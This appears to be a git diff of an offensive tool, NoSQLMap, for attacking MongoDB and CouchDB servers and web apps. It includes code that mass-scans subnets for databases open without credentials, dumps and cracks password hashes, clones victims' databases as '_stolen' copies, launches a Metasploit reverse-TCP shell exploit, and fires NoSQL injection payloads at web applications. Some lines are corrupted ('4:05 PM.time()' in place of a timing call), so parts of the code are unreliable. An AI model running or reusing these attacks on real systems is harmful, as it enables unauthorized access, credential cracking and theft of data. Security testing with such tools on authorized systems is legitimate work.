+ #This is a global for future use with other modules; may change
+ global dbList
+ dbList = []
+
+ print "Checking to see if credentials are needed..."
+ needCreds = mongoScan(target,dbPort,False)
+
+ if needCreds[0] == 0:
+ conn = pymongo.MongoClient(target,dbPort)
+ print "Successful access with no credentials!"
+ mgtOpen = True
+
+ elif needCreds[0] == 1:
+ print "Login required!"
+ srvUser = raw_input("Enter server username: ")
+ srvPass = raw_input("Enter server password: ")
+ uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/"
+
+ try:
+ conn = pymongo.MongoClient(target)
+ print "MongoDB authenticated on " + target + ":27017!"
+ mgtOpen = True
+ except:
+ raw_input("Failed to authenticate. Press enter to continue...")
+ return
+
+ elif needCreds[0] == 2:
+ conn = pymongo.MongoClient(target,dbPort)
+ print "Access check failure. Testing will continue but will be unreliable."
+ mgtOpen = True
+
+ elif needCreds[0] == 3:
+ print "Couldn't connect to Mongo server."
+ return
+
+
+ mgtUrl = "http://" + target + ":28017"
+ #Future rev: Add web management interface parsing
+
+ try:
+ mgtRespCode = urllib.urlopen(mgtUrl).getcode()
+ if mgtRespCode == 200:
+ print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
+ testRest = raw_input("Start tests for REST Interface (y/n)? ")
+
+ if testRest in yes_tag:
+ restUrl = mgtUrl + "/listDatabases?text=1"
+ restResp = urllib.urlopen(restUrl).read()
+ restOn = restResp.find('REST is not enabled.')
+
+ if restOn == -1:
+ print "REST interface enabled!"
+ dbs = json.loads(restResp)
+ menuItem = 1
+ print "List of databases from REST API:"
+
+ for x in range(0,len(dbs['databases'])):
+ dbTemp= dbs['databases'][x]['name']
+ print str(menuItem) + "-" + dbTemp
+ menuItem += 1
+ else:
+ print "REST interface not enabled."
+ print "\n"
+
+ except Exception, e:
+ print "MongoDB web management closed or requires authentication."
+
+ if mgtOpen == True:
+
+ while mgtSelect:
+ print "\n"
+ print "1-Get Server Version and Platform"
+ print "2-Enumerate Databases/Collections/Users"
+ print "3-Check for GridFS"
+ print "4-Clone a Database"
+ print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
+ print "6-Return to Main Menu"
+ attack = raw_input("Select an attack: ")
+
+ if attack == "1":
+ print "\n"
+ getPlatInfo(conn)
+
+ if attack == "2":
+ print "\n"
+ enumDbs(conn)
+
+ if attack == "3":
+ print "\n"
+ enumGrid(conn)
+
+ if attack == "4":
+ if myIP == "Not Set":
+ print "Target database not set!"
+ else:
+ print "\n"
+ stealDBs(myIP,target,conn)
+
+ if attack == "5":
+ print "\n"
+ msfLaunch()
+
+ if attack == "6":
+ return
def stealDBs(myDB,victim,mongoConn):
- dbList = mongoConn.database_names()
- dbLoot = True
- menuItem = 1
+ dbList = mongoConn.database_names()
+ dbLoot = True
+ menuItem = 1
- if len(dbList) == 0:
- print "Can't get a list of databases to steal. The provided credentials may not have rights."
- return
+ if len(dbList) == 0:
+ print "Can't get a list of databases to steal. The provided credentials may not have rights."
+ return
- for dbName in dbList:
- print str(menuItem) + "-" + dbName
- menuItem += 1
+ for dbName in dbList:
+ print str(menuItem) + "-" + dbName
+ menuItem += 1
- while dbLoot:
- dbLoot = raw_input("Select a database to steal: ")
+ while dbLoot:
+ dbLoot = raw_input("Select a database to steal: ")
- if int(dbLoot) >= menuItem:
- print "Invalid selection."
+ if int(dbLoot) >= menuItem:
+ print "Invalid selection."
- else:
- break
+ else:
+ break
- try:
- #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
- dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
- myDBConn = pymongo.MongoClient(myDB, 27017)
- if dbNeedCreds in no_tag:
+ try:
+ #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
+ dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
+ myDBConn = pymongo.MongoClient(myDB, 27017)
+ if dbNeedCreds in no_tag:
- myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
+ myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
- elif dbNeedCreds in yes_tag:
- dbUser = raw_input("Enter database username: ")
- dbPass = raw_input("Enter database password: ")
- myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass)
+ elif dbNeedCreds in yes_tag:
+ dbUser = raw_input("Enter database username: ")
+ dbPass = raw_input("Enter database password: ")
+ myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass)
- else:
- raw_input("Invalid Selection. Press enter to continue.")
- stealDBs(myDB,victim,mongoConn)
+ else:
+ raw_input("Invalid Selection. Press enter to continue.")
+ stealDBs(myDB,victim,mongoConn)
- cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
+ cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
- if cloneAnother in yes_tag:
- stealDBs(myDB,victim,mongoConn)
+ if cloneAnother in yes_tag:
+ stealDBs(myDB,victim,mongoConn)
- else:
- return
+ else:
+ return
- except Exception, e:
- if str(e).find('text search not enabled') != -1:
- raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
- return
- elif str(e).find('Network is unreachable') != -1:
- raw_input("Are you sure your network is unreachable? Press enter to return..")
- else:
- raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
- return
+ except Exception, e:
+ if str(e).find('text search not enabled') != -1:
+ raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
+ return
+ elif str(e).find('Network is unreachable') != -1:
+ raw_input("Are you sure your network is unreachable? Press enter to return..")
+ else:
+ raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
+ return
def passCrack (user, encPass):
- select = True
- print "Select password cracking method: "
- print "1-Dictionary Attack"
- print "2-Brute Force"
- print "3-Exit"
+ select = True
+ print "Select password cracking method: "
+ print "1-Dictionary Attack"
+ print "2-Brute Force"
+ print "3-Exit"
- while select:
- select = raw_input("Selection: ")
- if select == "1":
- select = False
- dict_pass(user,encPass)
+ while select:
+ select = raw_input("Selection: ")
+ if select == "1":
+ select = False
+ dict_pass(user,encPass)
- elif select == "2":
- select = False
- brute_pass(user,encPass)
+ elif select == "2":
+ select = False
+ brute_pass(user,encPass)
- elif select == "3":
- return
- return
+ elif select == "3":
+ return
+ return
def gen_pass(user, passw, hashVal):
- if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal:
- print "Found - " + user + ":" + passw
- return True
- else:
- return False
+ if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal:
+ print "Found - " + user + ":" + passw
+ return True
+ else:
+ return False
def dict_pass(user,key):
- loadCheck = False
-
- while loadCheck == False:
- dictionary = raw_input("Enter path to password dictionary: ")
- try:
- with open (dictionary) as f:
- passList = f.readlines()
- loadCheck = True
- except:
- print " Couldn't load file."
-
- print "Running dictionary attack..."
- for passGuess in passList:
- temp = passGuess.split("\n")[0]
- gotIt = gen_pass (user, temp, key)
-
- if gotIt == True:
- break
- return
+ loadCheck = False
+
+ while loadCheck == False:
+ dictionary = raw_input("Enter path to password dictionary: ")
+ try:
+ with open (dictionary) as f:
+ passList = f.readlines()
+ loadCheck = True
+ except:
+ print " Couldn't load file."
+
+ print "Running dictionary attack..."
+ for passGuess in passList:
+ temp = passGuess.split("\n")[0]
+ gotIt = gen_pass (user, temp, key)
+
+ if gotIt == True:
+ break
+ return
def genBrute(chars, maxLen):
return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
def brute_pass(user,key):
- charSel = True
- print "\n"
- maxLen = raw_input("Enter the maximum password length to attempt: ")
- print "1-Lower case letters"
- print "2-Upper case letters"
- print "3-Upper + lower case letters"
- print "4-Numbers only"
- print "5-Alphanumeric (upper and lower case)"
- print "6-Alphanumeric + special characters"
- charSel = raw_input("\nSelect character set to use:")
-
- if charSel == "1":
- chainSet = string.ascii_lowercase
-
- elif charSel == "2":
- chainSet= string.ascii_uppercase
-
- elif charSel == "3":
- chainSet = string.ascii_letters
-
- elif charSel == "4":
- chainSet = string.digits
-
- elif charSel == "5":
- chainSet = string.ascii_letters + string.digits
-
- elif charSel == "6":
- chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
- count = 0
- print "\n",
- for attempt in genBrute (chainSet,int(maxLen)):
- print "\rCombinations tested: " + str(count) + "\r"
- count += 1
- if md5(user + ":mongo:" + str(attempt)).hexdigest() == key:
- print "\nFound - " + user + ":" + attempt
- break
- return
+ charSel = True
+ print "\n"
+ maxLen = raw_input("Enter the maximum password length to attempt: ")
+ print "1-Lower case letters"
+ print "2-Upper case letters"
+ print "3-Upper + lower case letters"
+ print "4-Numbers only"
+ print "5-Alphanumeric (upper and lower case)"
+ print "6-Alphanumeric + special characters"
+ charSel = raw_input("\nSelect character set to use:")
+
+ if charSel == "1":
+ chainSet = string.ascii_lowercase
+
+ elif charSel == "2":
+ chainSet= string.ascii_uppercase
+
+ elif charSel == "3":
+ chainSet = string.ascii_letters
+
+ elif charSel == "4":
+ chainSet = string.digits
+
+ elif charSel == "5":
+ chainSet = string.ascii_letters + string.digits
+
+ elif charSel == "6":
+ chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
+ count = 0
+ print "\n",
+ for attempt in genBrute (chainSet,int(maxLen)):
+ print "\rCombinations tested: " + str(count) + "\r"
+ count += 1
+ if md5(user + ":mongo:" + str(attempt)).hexdigest() == key:
+ print "\nFound - " + user + ":" + attempt
+ break
+ return
def getPlatInfo (mongoConn):
- print "Server Info:"
- print "MongoDB Version: " + mongoConn.server_info()['version']
- print "Debugs enabled : " + str(mongoConn.server_info()['debug'])
- print "Platform: " + str(mongoConn.server_info()['bits']) + " bit"
- print "\n"
- return
+ print "Server Info:"
+ print "MongoDB Version: " + mongoConn.server_info()['version']
+ print "Debugs enabled : " + str(mongoConn.server_info()['debug'])
+ print "Platform: " + str(mongoConn.server_info()['bits']) + " bit"
+ print "\n"
+ return
def enumDbs (mongoConn):
- try:
- print "List of databases:"
- print "\n".join(mongoConn.database_names())
- print "\n"
+ try:
+ print "List of databases:"
+ print "\n".join(mongoConn.database_names())
+ print "\n"
- except:
- print "Error: Couldn't list databases. The provided credentials may not have rights."
+ except:
+ print "Error: Couldn't list databases. The provided credentials may not have rights."
- print "List of collections:"
+ print "List of collections:"
- try:
- for dbItem in mongoConn.database_names():
- db = mongoConn[dbItem]
- print dbItem + ":"
- print "\n".join(db.collection_names())
- print "\n"
+ try:
+ for dbItem in mongoConn.database_names():
+ db = mongoConn[dbItem]
+ print dbItem + ":"
+ print "\n".join(db.collection_names())
+ print "\n"
- if 'system.users' in db.collection_names():
- users = list(db.system.users.find())
- print "Database Users and Password Hashes:"
+ if 'system.users' in db.collection_names():
+ users = list(db.system.users.find())
+ print "Database Users and Password Hashes:"
- for x in range (0,len(users)):
- print "Username: " + users[x]['user']
- print "Hash: " + users[x]['pwd']
- print "\n"
- crack = raw_input("Crack this hash (y/n)? ")
+ for x in range (0,len(users)):
+ print "Username: " + users[x]['user']
+ print "Hash: " + users[x]['pwd']
+ print "\n"
+ crack = raw_input("Crack this hash (y/n)? ")
- if crack in yes_tag:
- passCrack(users[x]['user'],users[x]['pwd'])
+ if crack in yes_tag:
+ passCrack(users[x]['user'],users[x]['pwd'])
- except Exception, e:
- print e
- print "Error: Couldn't list collections. The provided credentials may not have rights."
+ except Exception, e:
+ print e
+ print "Error: Couldn't list collections. The provided credentials may not have rights."
- print "\n"
- return
+ print "\n"
+ return
def msfLaunch():
- try:
- proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
+ try:
+ proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
- except:
- print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
- raw_input("Press enter to continue...")
- return
+ except:
+ print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
+ raw_input("Press enter to continue...")
+ return
def enumGrid (mongoConn):
- try:
- for dbItem in mongoConn.database_names():
- try:
- db = mongoConn[dbItem]
- fs = gridfs.GridFS(db)
- files = fs.list()
- print "GridFS enabled on database " + str(dbItem)
- print " list of files:"
- print "\n".join(files)
+ try:
+ for dbItem in mongoConn.database_names():
+ try:
+ db = mongoConn[dbItem]
+ fs = gridfs.GridFS(db)
+ files = fs.list()
+ print "GridFS enabled on database " + str(dbItem)
+ print " list of files:"
+ print "\n".join(files)
- except:
- print "GridFS not enabled on " + str(dbItem) + "."
+ except:
+ print "GridFS not enabled on " + str(dbItem) + "."
- except:
- print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
+ except:
+ print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
- return
+ return
def mongoScan(ip,port,pingIt):
- if pingIt == True:
- test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
-
- if test == 0:
- try:
- conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
-
- try:
- dbList = conn.database_names()
- dbVer = conn.server_info()['version']
- conn.close()
- return [0,dbVer]
-
- except:
- if str(sys.exc_info()).find('need to login') != -1:
- conn.close()
- return [1,None]
-
- else:
- conn.close()
- return [2,None]
-
- except:
- return [3,None]
-
- else:
- return [4,None]
- else:
- try:
- conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
-
- try:
- dbList = conn.database_names()
- dbVer = conn.server_info()['version']
- conn.close()
- return [0,dbVer]
-
- except Exception, e:
- if str(e).find('need to login') != -1:
- conn.close()
- return [1,None]
-
- else:
- conn.close()
- return [2,None]
-
- except:
- return [3,None]
+ if pingIt == True:
+ test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
+
+ if test == 0:
+ try:
+ conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
+
+ try:
+ dbList = conn.database_names()
+ dbVer = conn.server_info()['version']
+ conn.close()
+ return [0,dbVer]
+
+ except:
+ if str(sys.exc_info()).find('need to login') != -1:
+ conn.close()
+ return [1,None]
+
+ else:
+ conn.close()
+ return [2,None]
+
+ except:
+ return [3,None]
+
+ else:
+ return [4,None]
+ else:
+ try:
+ conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
+
+ try:
+ dbList = conn.database_names()
+ dbVer = conn.server_info()['version']
+ conn.close()
+ return [0,dbVer]
+
+ except Exception, e:
+ if str(e).find('need to login') != -1:
+ conn.close()
+ return [1,None]
+
+ else:
+ conn.close()
+ return [2,None]
+
+ except:
+ return [3,None]
diff --git a/nsmscan.py b/nsmscan.py
new file mode 100644
index 0000000..a5f05c6
--- /dev/null
+++ b/nsmscan.py
@@ -0,0 +1,148 @@
+import ipcalc
+import nsmmongo
+import nsmcouch
+
+def massScan(platform):
+ yes_tag = ['y', 'Y']
+ no_tag = ['n', 'N']
+ optCheck = True
+ loadCheck = False
+ ping = False
+ success = []
+ versions = []
+ creds = []
+ commError = []
+ ipList = []
+ resultSet = []
+
+ print "\n"
+ print platform + " Default Access Scanner"
+ print "=============================="
+ print "1-Scan a subnet for default " + platform + " access"
+ print "2-Loads IPs to scan from a file"
+ print "3-Enable/disable host pings before attempting connection"
+ print "x-Return to main menu"
+
+ while optCheck:
+ loadOpt = raw_input("Select an option: ")
+
+ if loadOpt == "1":
+ subnet = raw_input("Enter subnet to scan: ")
+
+ try:
+ for ip in ipcalc.Network(subnet):
+ ipList.append(str(ip))
+ optCheck = False
+ except:
+ raw_input("Not a valid subnet. Press enter to return to main menu.")
+ return
+
+ if loadOpt == "2":
+ while loadCheck == False:
+ loadPath = raw_input("Enter file name with IP list to scan: ")
+
+ try:
+ with open (loadPath) as f:
+ ipList = f.readlines()
+ loadCheck = True
+ optCheck = False
+ except:
+ print "Couldn't open file."
+
+ if loadOpt == "3":
+ if ping == False:
+ ping = True
+ print "Scan will ping host before connection attempt."
+
+ elif ping == True:
+ ping = False
+ print "Scan will not ping host before connection attempt."
+
+ if loadOpt == "x":
+ return
+
+
+ print "\n"
+ for target in ipList:
+
+ if platform == "MongoDB":
+ result = nsmmongo.mongoScan(target.rstrip(),27017,ping)
+
+ elif platform == "CouchDB":
+ result = nsmcouch.couchScan(target.rstrip(),5984,ping)
+
+ if result[0] == 0:
+ print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")."
+ success.append(target.rstrip())
+ versions.append(result[1])
+
+ elif result[0] == 1:
+ print platform + " running but credentials required on " + target.rstrip() + "."
+ creds.append(target.rstrip()) #Future use
+
+ elif result[0] == 2:
+ print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command."
+ commError.append(target.rstrip()) #Future use
+
+ elif result[0] == 3:
+ print "Couldn't connect to " + target.rstrip() + "."
+
+ elif result[0] == 4:
+ print target.rstrip() + " didn't respond to ping."
+
+
+ print "\n\n"
+ select = True
+ while select:
+ saveEm = raw_input("Save scan results to CSV? (y/n):")
+
+ if saveEm in yes_tag:
+ savePath = raw_input("Enter file name to save: ")
+ outCounter = 0
+ try:
+ fo = open(savePath, "wb")
+ fo.write("IP Address," + platform + " Version\n")
+
+ for server in success:
+ fo.write(server + "," + versions[outCounter] + "\n" )
+ outCounter += 1
+
+ fo.close()
+ print "Scan results saved!"
+ select = False
+
+ except:
+ print "Couldn't save scan results."
+
+ elif saveEm in no_tag:
+ select = False
+
+ else:
+ select = True
+
+ print "Discovered " + platform + " Servers with No Auth:"
+ print "IP" + " " + "Version"
+
+ outCounter= 1
+
+ for server in success:
+ print str(outCounter) + "-" + server + " " + versions[outCounter - 1]
+ outCounter += 1
+
+ select = True
+ print "\n"
+ while select:
+ select = raw_input("Select a NoSQLMap target or press x to exit: ")
+
+ if select == "x" or select == "X":
+ return None
+
+ elif select.isdigit() == True and int(select) <= outCounter:
+ victim = success[int(select) - 1]
+ resultSet[0] = True
+ resultSet[1] = victim
+ raw_input("New target set! Press enter to return to the main menu.")
+ return resultSet
+
+ else:
+ raw_input("Invalid selection.")
diff --git a/nsmweb.py b/nsmweb.py
new file mode 100644
index 0000000..2881f82
--- /dev/null
+++ b/nsmweb.py
@@ -0,0 +1,1170 @@
+import httplib2
+import urllib
+import urllib2
+import json
+import datetime
+import itertools
+import re
+
+def getApps():
+ print "Web App Attacks (GET)"
+ print "==============="
+ paramName = []
+ global testNum
+ testNum = 1
+ paramValue = []
+ global vulnAddrs
+ vulnAddrs = []
+ global possAddrs
+ possAddrs = []
+ timeVulnsStr = []
+ timeVulnsInt = []
+ appUp = False
+ strTbAttack = False
+ intTbAttack = False
+ trueStr = False
+ trueInt = False
+ global lt24
+ lt24 = False
+ global str24
+ str24 = False
+ global int24
+ int24 = False
+ global requestHeaders
+
+ #Verify app is working.
+ print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
+
+ if https == "OFF":
+ appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
+
+ elif https == "ON":
+ appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
+ try:
+ req = urllib2.Request(appURL, None, requestHeaders)
+ appRespCode = urllib2.urlopen(req).getcode()
+ if appRespCode == 200:
+ normLength = int(len(urllib2.urlopen(req).read()))
+ timeReq = urllib2.urlopen(req)
+ start = 4:05 PM.time()
+ page = timeReq.read()
+ end = 4:05 PM.time()
+ timeReq.close()
+ timeBase = round((end - start), 3)
+
+ if verb == "ON":
+ print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
+
+ else:
+ print "App is up!"
+ appUp = True
+
+ else:
+ print "Got " + str(appRespCode) + "from the app, check your options."
+ except Exception,e:
+ print e
+ print "Looks like the server didn't respond. Check your options."
+
+ if appUp == True:
+
+ injectSize = raw_input("Baseline test-Enter random string size: ")
+ injectString = randInjString(int(injectSize))
+ print "Using " + injectString + " for injection testing.\n"
+
+ #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
+ #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
+ if "?" not in appURL:
+ print "No URI parameters provided for GET request...Check your options.\n"
+ raw_input("Press enter to continue...")
+ return()
+
+ randomUri = buildUri(appURL,injectString)
+ print "URI : " + randomUri
+ req = urllib2.Request(randomUri, None, requestHeaders)
+
+ if verb == "ON":
+ print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
+ else:
+ print "Sending random parameter value..."
+
+ randLength = int(len(urllib2.urlopen(req).read()))
+ print "Got response length of " + str(randLength) + "."
+ randNormDelta = abs(normLength - randLength)
+
+ if randNormDelta == 0:
+ print "No change in response size injecting a random parameter..\n"
+ else:
+ print "Random value variance: " + str(randNormDelta) + "\n"
+
+ if verb == "ON":
+ print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
+ else:
+ print "Test 1: PHP/ExpressJS != associative array injection"
+
+ #Test for errors returned by injection
+ req = urllib2.Request(uriArray[1], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
+ print "Injecting " + uriArray[2]
+ else:
+ print "Test 2: $where injection (string escape)"
+
+ req = urllib2.Request(uriArray[2], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
+ print "Injecting " + uriArray[3]
+ else:
+ print "Test 3: $where injection (integer escape)"
+
+ req = urllib2.Request(uriArray[3], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum +=1
+
+ else:
+ testNum +=1
+
+ #Start a single record attack in case the app expects only one record back
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
+ print " Injecting " + uriArray[4]
+ else:
+ print "Test 4: $where injection string escape (single record)"
+
+ req = urllib2.Request(uriArray[4], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
+ print " Injecting " + uriArray[5]
+ else:
+ print "Test 5: $where injection integer escape (single record)"
+
+ req = urllib2.Request(uriArray[5], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum +=1
+
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo this not equals string escape attack for all records..."
+ print " Injecting " + uriArray[6]
+ else:
+ print "Test 6: This != injection (string escape)"
+
+ req = urllib2.Request(uriArray[6], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+ if verb == "ON":
+ print "Testing Mongo this not equals integer escape attack for all records..."
+ print " Injecting " + uriArray[7]
+ else:
+ print "Test 7: This != injection (integer escape)"
+
+ req = urllib2.Request(uriArray[7], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ else:
+ testNum += 1
+ print "\n"
+
+ if verb == "ON":
+ print "Testing PHP/ExpressJS > undefined attack for all records..."
+ print "Injecting " + uriArray[8]
+
+ else:
+ print "Test 8: PHP/ExpressJS > Undefined Injection"
+
+ req = urllib2.Request(uriArray[8], None, requestHeaders)
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+
+ if doTimeAttack in yes_tag:
+ print "Starting Javascript string escape time based injection..."
+ req = urllib2.Request(uriArray[18], None, requestHeaders)
+ start = 4:05 PM.time()
+ strTimeInj = urllib2.urlopen(req)
+ page = strTimeInj.read()
+ end = 4:05 PM.time()
+ strTimeInj.close()
+ #print str(end)
+ #print str(start)
+ strTimeDelta = (int(round((end - start), 3)) - timeBase)
+ #print str(strTimeDelta)
+ if strTimeDelta > 25:
+ print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
+ strTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
+ strTbAttack = False
+
+ print "Starting Javascript integer escape time based injection..."
+ req = urllib2.Request(uriArray[9], None, requestHeaders)
+ start = 4:05 PM.time()
+ intTimeInj = urllib2.urlopen(req)
+ page = intTimeInj.read()
+ end = 4:05 PM.time()
+ intTimeInj.close()
+ #print str(end)
+ #print str(start)
+ intTimeDelta = (int(round((end - start), 3)) - timeBase)
+ #print str(strTimeDelta)
+ if intTimeDelta > 25:
+ print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
+ intTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
+ intTbAttack = False
+
+ if lt24 == True:
+ bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
+
+ if bfInfo in yes_tag:
+ getDBInfo()
+
+
+ print "\n"
+ print "Vulnerable URLs:"
+ print "\n".join(vulnAddrs)
+ print "\n"
+ print "Possibly vulnerable URLs:"
+ print"\n".join(possAddrs)
+ print "\n"
+ print "Timing based attacks:"
+
+ if strTbAttack == True:
+ print "String attack-Successful"
+ else:
+ print "String attack-Unsuccessful"
+ if intTbAttack == True:
+ print "Integer attack-Successful"
+ else:
+ print "Integer attack-Unsuccessful"
+
+ fileOut = raw_input("Save results to file (y/n)? ")
+
+ if fileOut in yes_tag:
+ savePath = raw_input("Enter output file name: ")
+ fo = open(savePath, "wb")
+ fo.write ("Vulnerable URLs:\n")
+ fo.write("\n".join(vulnAddrs))
+ fo.write("\n\n")
+ fo.write("Possibly Vulnerable URLs:\n")
+ fo.write("\n".join(possAddrs))
+ fo.write("\n")
+ fo.write("Timing based attacks:\n")
+
+ if strTbAttack == True:
+ fo.write("String Attack-Successful\n")
+ else:
+ fo.write("String Attack-Unsuccessful\n")
+ fo.write("\n")
+
+ if intTbAttack == True:
+ fo.write("Integer attack-Successful\n")
+ else:
+ fo.write("Integer attack-Unsuccessful\n")
+ fo.write("\n")
+ fo.close()
+
+ raw_input("Press enter to continue...")
+ return()
+
+def postApps():
+ print "Web App Attacks (POST)"
+ print "==============="
+ paramName = []
+ paramValue = []
+ global vulnAddrs
+ vulnAddrs = []
+ global possAddrs
+ possAddrs = []
+ timeVulnsStr = []
+ timeVulnsInt = []
+ appUp = False
+ strTbAttack = False
+ intTbAttack = False
+ trueStr = False
+ trueInt = False
+ global postData
+ global neDict
+ global gtDict
+ global requestHeaders
+ testNum = 1
+
+ #Verify app is working.
+ print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
+
+ if https == "OFF":
+ appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
+
+ elif https == "ON":
+ appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
+
+ try:
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ appRespCode = urllib2.urlopen(req).getcode()
+
+ if appRespCode == 200:
+
+ normLength = int(len(urllib2.urlopen(req).read()))
+ timeReq = urllib2.urlopen(req)
+ start = 4:05 PM.time()
+ page = timeReq.read()
+ end = 4:05 PM.time()
+ timeReq.close()
+ timeBase = round((end - start), 3)
+
+ if verb == "ON":
+ print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
+
+ else:
+ print "App is up!"
+ appUp = True
+ else:
+ print "Got " + str(appRespCode) + "from the app, check your options."
+
+ except Exception,e:
+ print e
+ print "Looks like the server didn't respond. Check your options."
+
+ if appUp == True:
+
+ menuItem = 1
+ print "List of parameters:"
+ for params in postData.keys():
+ print str(menuItem) + "-" + params
+ menuItem += 1
+
+ try:
+ injIndex = raw_input("Which parameter should we inject? ")
+ injOpt = str(postData.keys()[int(injIndex)-1])
+ print "Injecting the " + injOpt + " parameter..."
+ except:
+ raw_input("Something went wrong. Press enter to return to the main menu...")
+ return
+
+ injectSize = raw_input("Baseline test-Enter random string size: ")
+ injectString = randInjString(int(injectSize))
